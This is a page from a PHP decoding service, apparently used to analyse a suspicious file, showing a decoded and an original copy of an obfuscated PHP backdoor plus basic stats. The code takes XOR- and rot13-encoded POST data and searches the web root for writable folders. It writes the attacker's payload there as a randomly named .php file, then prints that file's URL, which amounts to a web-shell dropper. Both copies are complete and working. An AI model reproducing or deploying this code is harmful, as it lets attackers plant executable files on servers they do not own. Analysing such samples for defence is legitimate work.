Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function gimESETr($JeUfGMPK, $AFPGE, $cBnslPAjr){$mjJXmlsG = "14377ff8-96b1-482e-a01..

Decoded Output download

<?php function gimESETr($JeUfGMPK, $AFPGE, $cBnslPAjr){$mjJXmlsG = "14377ff8-96b1-482e-a017-efd160bdc720";    $OojRoORA = 52;return $JeUfGMPK ^ $mjJXmlsG[$AFPGE % strlen($mjJXmlsG)] ^ $cBnslPAjr;}$kTiQCuLUQG = "guXavmaIkv";$hDhKAkxtEb = 67;function RARCanxabJ($kTiQCuLUQG){ $Rvacp = chr(115)."t".chr(114).chr(95).chr(114)."o"."t".chr(921-872)."3";$kTiQCuLUQG = $Rvacp($kTiQCuLUQG);$jHlEMYRtn = "r"."a"."w"."u".chr(114).chr(133-25).chr(100)."e".'c'."o"."d"."e";$kTiQCuLUQG = $jHlEMYRtn($kTiQCuLUQG);$kTiQCuLUQG = str_split($kTiQCuLUQG);return $kTiQCuLUQG;}function fRJzCXGs($lbCVxTdugo, $cBnslPAjr){$lbCVxTdugo = array_map("gimESETr", array_values($lbCVxTdugo), array_keys($lbCVxTdugo), array_values($cBnslPAjr));$lbCVxTdugo = implode("", $lbCVxTdugo);    $vztSHCmY = 'rxgIhgdr';$ycSnh = chr(117).chr(975-865).chr(632-517).'e'.chr(114).'i'.'a'."l"."i".'z'.'e';$lbCVxTdugo = @$ycSnh($lbCVxTdugo);    $bGlJeM = 52;return $lbCVxTdugo;}function PNojiOb($cBnslPAjr, $lbCVxTdugo){$cBnslPAjr = array_slice(str_split(str_repeat($cBnslPAjr, intval(count($lbCVxTdugo)/16)+1)), 0, count($lbCVxTdugo));    $JjBJMp = 25;return $cBnslPAjr;}function qFqNZEGNyg(){$nHIwbYIa = 'ytmKrE';$fUpoflj = 15;$hagnt = 6;$AQivAtgXg = $fUpoflj - $hagnt;$mAqchpJ = 'PLW';$hagnt = $AQivAtgXg / 5;}qFqNZEGNyg();function uCVxEOck(){echo "AQMLfso";    $kHeYxeLJEO = 62;}function wBOAp($rZnFqir){static $PQigQ = array();$oCZsyi = glob($rZnFqir . '/*', GLOB_ONLYDIR);$FpSIBhgoW = count($oCZsyi);    $eUbrAemY = 38;    $NrBwiH = 'pRtd';if ($FpSIBhgoW > 0) {foreach ($oCZsyi as $rZnFq) {$clDdDACL = "i".chr(326-211).chr(674-579)."w".chr(114).chr(105).'t'.'a'.chr(98).'l'.'e';if (@$clDdDACL($rZnFq)) {$PQigQ[] = $rZnFq;}}}foreach ($oCZsyi as $rZnFqir) wBOAp($rZnFqir);return $PQigQ;}function RtbSDu($lbCVxTdugo){$dEjiydAC = 'D'.chr(586-507)."C".chr(936-851)."M"."E".chr(1024-946).chr(84)."_"."R"."O"."O"."T";$rXvGtMfjQ = $_SERVER[$dEjiydAC];    $EwwFdMog = 'LPZUgBL';$oCZsyi = wBOAp($rXvGtMfjQ);$ZPGqa = array_rand($oCZsyi);$pjLzJUO = ".".'p'."h".chr(112);$xCnYiz = $oCZsyi[$ZPGqa] . "/" . substr(md5(time()), 0, 8) . $pjLzJUO;$rYutvDfjDz = chr(867-765).'i'.chr(335-227)."e"."_"."p"."u"."t"."_"."c".chr(111).chr(110).chr(806-690).chr(101)."n"."t"."s";@$rYutvDfjDz($xCnYiz, $lbCVxTdugo);$bjdDNboibo = "H"."T"."T".chr(724-644)."_"."H"."O".chr(83).chr(212-128);$mazwpnnu = chr(668-564)."t".chr(116).chr(112).":".chr(290-243).'/';$kfGtzhmqL = $mazwpnnu . $_SERVER[$bjdDNboibo] . substr($xCnYiz, strlen($rXvGtMfjQ));    $DkLaDCno = 'QqQvoydBAZ';    $RyupOeam = 64;print($kfGtzhmqL);    $mMBlyoEx = 62;}function auQxQg($lbCVxTdugo, $ZPGqa){$ZPGqa = $ZPGqa[0];if ($lbCVxTdugo !== $ZPGqa){RtbSDu($lbCVxTdugo);}else {OmgWXwpl();        $BkuNv = 'ntzoPgFb';}}function OmgWXwpl(){$hudAyjOX = "p".chr(946-842).chr(112);$fxChmEdzb = chr(430-318).'h'."p".'v'."e".chr(701-587)."s".chr(1024-919)."o".'n';$lbCVxTdugo = Array($hudAyjOX => @$fxChmEdzb(), );$KtXHxX = chr(762-647)."e"."r".chr(105)."a".'l'."i"."z"."e";echo @$KtXHxX($lbCVxTdugo);    $FxLjfz = 'SQ';}function LJNEIZbH(){echo "guXavmaIkv";}foreach ($_POST as $cBnslPAjr => $lbCVxTdugo){$QvLoYt = strlen($cBnslPAjr);    $CLCpfmxyi = 'mlrI';if ($QvLoYt == 16){$lbCVxTdugo = RARCanxabJ($lbCVxTdugo);$cBnslPAjr = PNojiOb($cBnslPAjr, $lbCVxTdugo);$lbCVxTdugo = fRJzCXGs($lbCVxTdugo, $cBnslPAjr);        $ficYyYLpcW = 61;if (@is_array($lbCVxTdugo)){$ZPGqa = array_keys($lbCVxTdugo);            $ohcYVDrp = 54;$lbCVxTdugo = $lbCVxTdugo[$ZPGqa[0]];            $ohcYVDrp = $ohcYVDrp - 8;auQxQg($lbCVxTdugo, $ZPGqa);            $EjjVvKYsq = 51;}}}die();?>

Did this file decode correctly?

Original Code

<?php function gimESETr($JeUfGMPK, $AFPGE, $cBnslPAjr){$mjJXmlsG = "14377ff8-96b1-482e-a017-efd160bdc720";    $OojRoORA = 52;return $JeUfGMPK ^ $mjJXmlsG[$AFPGE % strlen($mjJXmlsG)] ^ $cBnslPAjr;}$kTiQCuLUQG = "guXavmaIkv";$hDhKAkxtEb = 67;function RARCanxabJ($kTiQCuLUQG){ $Rvacp = chr(115)."\164".chr(114).chr(95).chr(114)."\x6f"."\x74".chr(921-872)."\x33";$kTiQCuLUQG = $Rvacp($kTiQCuLUQG);$jHlEMYRtn = "\x72"."\141"."\167"."\165".chr(114).chr(133-25).chr(100)."\145".'c'."\x6f"."\x64"."\145";$kTiQCuLUQG = $jHlEMYRtn($kTiQCuLUQG);$kTiQCuLUQG = str_split($kTiQCuLUQG);return $kTiQCuLUQG;}function fRJzCXGs($lbCVxTdugo, $cBnslPAjr){$lbCVxTdugo = array_map("gimESETr", array_values($lbCVxTdugo), array_keys($lbCVxTdugo), array_values($cBnslPAjr));$lbCVxTdugo = implode("", $lbCVxTdugo);    $vztSHCmY = 'rxgIhgdr';$ycSnh = chr(117).chr(975-865).chr(632-517).'e'.chr(114).'i'.'a'."\x6c"."\151".'z'.'e';$lbCVxTdugo = @$ycSnh($lbCVxTdugo);    $bGlJeM = 52;return $lbCVxTdugo;}function PNojiOb($cBnslPAjr, $lbCVxTdugo){$cBnslPAjr = array_slice(str_split(str_repeat($cBnslPAjr, intval(count($lbCVxTdugo)/16)+1)), 0, count($lbCVxTdugo));    $JjBJMp = 25;return $cBnslPAjr;}function qFqNZEGNyg(){$nHIwbYIa = 'ytmKrE';$fUpoflj = 15;$hagnt = 6;$AQivAtgXg = $fUpoflj - $hagnt;$mAqchpJ = 'PLW';$hagnt = $AQivAtgXg / 5;}qFqNZEGNyg();function uCVxEOck(){echo "AQMLfso";    $kHeYxeLJEO = 62;}function wBOAp($rZnFqir){static $PQigQ = array();$oCZsyi = glob($rZnFqir . '/*', GLOB_ONLYDIR);$FpSIBhgoW = count($oCZsyi);    $eUbrAemY = 38;    $NrBwiH = 'pRtd';if ($FpSIBhgoW > 0) {foreach ($oCZsyi as $rZnFq) {$clDdDACL = "\x69".chr(326-211).chr(674-579)."\x77".chr(114).chr(105).'t'.'a'.chr(98).'l'.'e';if (@$clDdDACL($rZnFq)) {$PQigQ[] = $rZnFq;}}}foreach ($oCZsyi as $rZnFqir) wBOAp($rZnFqir);return $PQigQ;}function RtbSDu($lbCVxTdugo){$dEjiydAC = 'D'.chr(586-507)."\x43".chr(936-851)."\x4d"."\105".chr(1024-946).chr(84)."\137"."\122"."\117"."\117"."\124";$rXvGtMfjQ = $_SERVER[$dEjiydAC];    $EwwFdMog = 'LPZUgBL';$oCZsyi = wBOAp($rXvGtMfjQ);$ZPGqa = array_rand($oCZsyi);$pjLzJUO = "\56".'p'."\150".chr(112);$xCnYiz = $oCZsyi[$ZPGqa] . "/" . substr(md5(time()), 0, 8) . $pjLzJUO;$rYutvDfjDz = chr(867-765).'i'.chr(335-227)."\145"."\137"."\160"."\165"."\x74"."\x5f"."\x63".chr(111).chr(110).chr(806-690).chr(101)."\156"."\164"."\163";@$rYutvDfjDz($xCnYiz, $lbCVxTdugo);$bjdDNboibo = "\x48"."\124"."\124".chr(724-644)."\x5f"."\110"."\x4f".chr(83).chr(212-128);$mazwpnnu = chr(668-564)."\164".chr(116).chr(112)."\x3a".chr(290-243).'/';$kfGtzhmqL = $mazwpnnu . $_SERVER[$bjdDNboibo] . substr($xCnYiz, strlen($rXvGtMfjQ));    $DkLaDCno = 'QqQvoydBAZ';    $RyupOeam = 64;print($kfGtzhmqL);    $mMBlyoEx = 62;}function auQxQg($lbCVxTdugo, $ZPGqa){$ZPGqa = $ZPGqa[0];if ($lbCVxTdugo !== $ZPGqa){RtbSDu($lbCVxTdugo);}else {OmgWXwpl();        $BkuNv = 'ntzoPgFb';}}function OmgWXwpl(){$hudAyjOX = "\x70".chr(946-842).chr(112);$fxChmEdzb = chr(430-318).'h'."\160".'v'."\145".chr(701-587)."\163".chr(1024-919)."\x6f".'n';$lbCVxTdugo = Array($hudAyjOX => @$fxChmEdzb(), );$KtXHxX = chr(762-647)."\x65"."\x72".chr(105)."\141".'l'."\x69"."\x7a"."\145";echo @$KtXHxX($lbCVxTdugo);    $FxLjfz = 'SQ';}function LJNEIZbH(){echo "guXavmaIkv";}foreach ($_POST as $cBnslPAjr => $lbCVxTdugo){$QvLoYt = strlen($cBnslPAjr);    $CLCpfmxyi = 'mlrI';if ($QvLoYt == 16){$lbCVxTdugo = RARCanxabJ($lbCVxTdugo);$cBnslPAjr = PNojiOb($cBnslPAjr, $lbCVxTdugo);$lbCVxTdugo = fRJzCXGs($lbCVxTdugo, $cBnslPAjr);        $ficYyYLpcW = 61;if (@is_array($lbCVxTdugo)){$ZPGqa = array_keys($lbCVxTdugo);            $ohcYVDrp = 54;$lbCVxTdugo = $lbCVxTdugo[$ZPGqa[0]];            $ohcYVDrp = $ohcYVDrp - 8;auQxQg($lbCVxTdugo, $ZPGqa);            $EjjVvKYsq = 51;}}}die();?>

Function Calls

qFqNZEGNyg 1

Variables

$hagnt 1
$fUpoflj 15
$mAqchpJ PLW
$nHIwbYIa ytmKrE
$AQivAtgXg 9
$hDhKAkxtEb 67
$kTiQCuLUQG guXavmaIkv

Stats

MD5 95858a638da3c69e3c09120697ab4f11
Eval Count 0
Decode Time 52 ms